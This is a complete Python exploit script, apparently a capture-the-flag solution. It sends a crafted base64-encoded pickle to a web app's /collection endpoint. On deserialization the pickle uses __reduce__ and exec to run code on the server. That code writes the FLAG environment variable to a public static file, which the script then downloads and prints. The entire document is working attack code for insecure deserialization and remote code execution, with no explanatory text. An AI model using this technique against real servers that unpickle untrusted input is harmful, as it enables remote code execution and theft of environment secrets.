#!/usr/bin/env python3
import pickle
import base64
import urllib.parse
import urllib.request
import sys

BASE = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"


class RCE:
    def __reduce__(self):
        cmd = (
            "open('/app/static/leak.txt','w').write("
            "__import__('os').environ.get('FLAG',''))"
        )
        return (exec, (cmd,))


def main():
    payload = base64.b64encode(pickle.dumps([RCE()])).decode()
    data = urllib.parse.urlencode({"save_data": payload}).encode()
    req = urllib.request.Request(f"{BASE}/collection", data=data, method="POST")
    req.add_header("Content-Type", "application/x-www-form-urlencoded")
    urllib.request.urlopen(req)
    with urllib.request.urlopen(f"{BASE}/static/leak.txt") as r:
        print(r.read().decode().strip())


if __name__ == "__main__":
    main()
